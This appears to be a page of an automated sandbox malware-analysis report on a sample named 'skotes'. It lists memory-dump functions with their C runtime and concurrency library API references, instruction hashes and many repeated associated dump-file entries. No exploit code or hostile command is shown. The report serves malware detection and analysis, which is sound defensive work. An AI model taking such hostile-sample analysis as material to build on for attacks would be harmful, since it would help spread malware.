Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 4162181273-393685449
Opcode ID: d6d71488f5756d2438b856be75cf28079c52e5ffd5853f0eeb7a2957c89c6813
Instruction ID: 905c01d2672d91cb9b58c8a26b359961cff4ff499177f137b3d9968c05f20d41
Opcode Fuzzy Hash: d6d71488f5756d2438b856be75cf28079c52e5ffd5853f0eeb7a2957c89c6813
Instruction Fuzzy Hash: E1C19A7180060DEFCF19DF98D8809BEBBB6BF24315F04415AEB156B212D770DA52CB91

Function 001E7364 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 001E73B0
Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 001E73F2
Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 001E740E
Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 001E7419
std::invalid_argument::invalid_argument.LIBCONCRT ref: 001E7440

Strings

count, xrefs: 001E737E
ppVirtualProcessorRoots, xrefs: 001E7438

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextInternalMarkOversubscribedProcProcessor::ResetRetirementstd::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 3897347962-3650809737
Opcode ID: 22821f0a04ae279e4a62ff8be1b2de18b606b28ccbca360a64f252cce145d18b
Instruction ID: fd6b35704dde20c196063e48f50be5878869e6b5afba5ee7e8bbaf328728f02a
Opcode Fuzzy Hash: 22821f0a04ae279e4a62ff8be1b2de18b606b28ccbca360a64f252cce145d18b
Instruction Fuzzy Hash: 4721A034A00649AFDB14EF6AD995AEDBBB5BF29310F044069E905A7391CB30AE41CF90

Function 001E78E1 Relevance: 12.1, APIs: 8, Instructions: 106timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 001E7903

Part of subcall function 001E5CB8: __EH_prolog3_catch.LIBCMT ref: 001E5CBF
Part of subcall function 001E5CB8: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 001E5CF8

Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 001E792A
Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 001E7936

Part of subcall function 001E5CB8: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 001E5D70
Part of subcall function 001E5CB8: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 001E5D7E

Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 001E7982
Concurrency::location::_Assign.LIBCMT ref: 001E79A3
Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 001E79AB
Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 001E79BD
Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 001E79ED

Part of subcall function 001E691D: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 001E6942
Part of subcall function 001E691D: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 001E6965

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Scheduler$ContextThrottling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_ExerciseFoundH_prolog3_catchNextProcessor::RingSchedulingSpinStartupTicket::TimerUntilWith
String ID:
API String ID: 1475861073-0
Opcode ID: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction ID: 844a1bf93c364189c665678b47e0d9a4031ac1b343f5002672986c1c4af5ed63
Opcode Fuzzy Hash: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction Fuzzy Hash: 28314930B08AD16FEF1AAA7944927FE77B59F51318F0401A9D496D72C3EB244D4AC391

Function 001F4840 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 001F4877
___except_validate_context_record.LIBVCRUNTIME ref: 001F487F
_ValidateLocalCookies.LIBCMT ref: 001F4908
__IsNonwritableInCurrentImage.LIBCMT ref: 001F4933
_ValidateLocalCookies.LIBCMT ref: 001F4988

Strings

csm, xrefs: 001F491D

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 74ff78c14ce72582cab31762bbdd3821d27ce86ab30a5ff1b05b696914ed5b5c
Instruction ID: d7311d27ef10ea496e035c84e55c1476a97fde9ffddcd8e13b03d0cc81a868d6
Opcode Fuzzy Hash: 74ff78c14ce72582cab31762bbdd3821d27ce86ab30a5ff1b05b696914ed5b5c
Instruction Fuzzy Hash: F7410634A0021DEBCF10DF68D884AAFBBB5BF49358F148195FA185B3A2C7719A55CB90

Function 001EDD18 Relevance: 10.6, APIs: 7, Instructions: 117threadCOMMON

Download Yara Rule

APIs

Concurrency::details::UMS::CreateUmsCompletionList.LIBCONCRT ref: 001EDD91
Concurrency::details::InternalContextBase::ExecutedAssociatedChore.LIBCONCRT ref: 001EDDAE
Concurrency::details::InternalContextBase::WorkWasFound.LIBCONCRT ref: 001EDE14
Concurrency::details::InternalContextBase::ExecuteChoreInline.LIBCMT ref: 001EDE29
Concurrency::details::InternalContextBase::WaitForWork.LIBCONCRT ref: 001EDE3B
Concurrency::details::InternalContextBase::CleanupDispatchedContextOnCancel.LIBCMT ref: 001EDE4B
Concurrency::details::UMS::GetCurrentUmsThread.LIBCONCRT ref: 001EDE74

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
